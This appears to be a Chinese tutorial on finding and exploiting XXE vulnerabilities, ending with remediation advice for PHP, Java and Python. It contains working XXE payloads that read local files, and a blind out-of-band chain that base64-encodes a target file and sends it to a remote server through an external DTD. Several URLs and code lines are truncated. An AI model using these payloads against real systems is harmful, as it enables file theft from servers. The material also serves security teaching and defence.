寻找与利用xxe漏洞

如何找xxe漏洞:

  1. 抓包看accept头是否接受xml 如果是,使用payload验证是否可以攻击
  2. 抓包看accept头是否接受json 如果是,把json改成xml,后用payload测试

一般 xxe 利用分为两大场景:有回显和无回显。 有回显的情况可以直接在页面中看到Payload 的执行结果或现象, 无回显的情况又称为blind xxe,可以使用外带数据通道提取数据。

有回显xxe

# 使用通用实体读取本地文件的payload
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<foo>&xxe;</foo>

# 使用参数实体读取本地文件的payload
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY % xxe SYSTEM "***.com >
  %xxe;
]>
<foo>&evil;</foo>

##外部 evils.dtd 中的内容。
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

无回显xxe

可以使用外带数据通道提取数据,先使用 php://filter 获取目标文件的内容,然后将内容以 http 请求发送到接受数据的服务器

<!DOCTYPE convert [
  <!ENTITY % remote SYSTEM "***.com
  %remote;%int;%send;
]>

##外部 test.dtd 中的内容。
  <!ENTITY % file SYSTEM  "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
  <!ENTITY % int " <!ENTITY &#37; send SYSTEM '***.com '>">

整个调用过程 1. 连续调用了三个参数实体%remote;%int;%send;,这就是我们的利用顺序, 2. 先调用%remote ,调用后请求远程服务器上的 test.dtd(类似于将 test.dtd 包含进来) 3. 再调用%int,int会调用test.dtd中的%file,会去获取服务器上面的敏感文件,并将结果进行base64编码 4. 后调用%send将结果,以url参数的形式发送结果到指定服务器,(实体的值中不能有%, 所以将其转成 html实体编码&#37;) 编码可参考:***.com

最后,怎么查看最终数据 1. 有报错直接查看报错信息 2. 无报错需要访问接受数据的服务器中的日志信息 可以看到经过 base64 编码过的数据,解码后便可以得到数据。编码是为了不破坏原本的 XML 语法,不编码会报错

XE漏洞修复与防御:

方案一:升级PHP版本 方案二:修改代码

#PHP:
libxml_disable_entity_loader(true);

#JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
setFeature("***.com
setFeature("***.com
setFeature("***.com

#Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案三:黑名单过滤关键词(不推荐)

<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC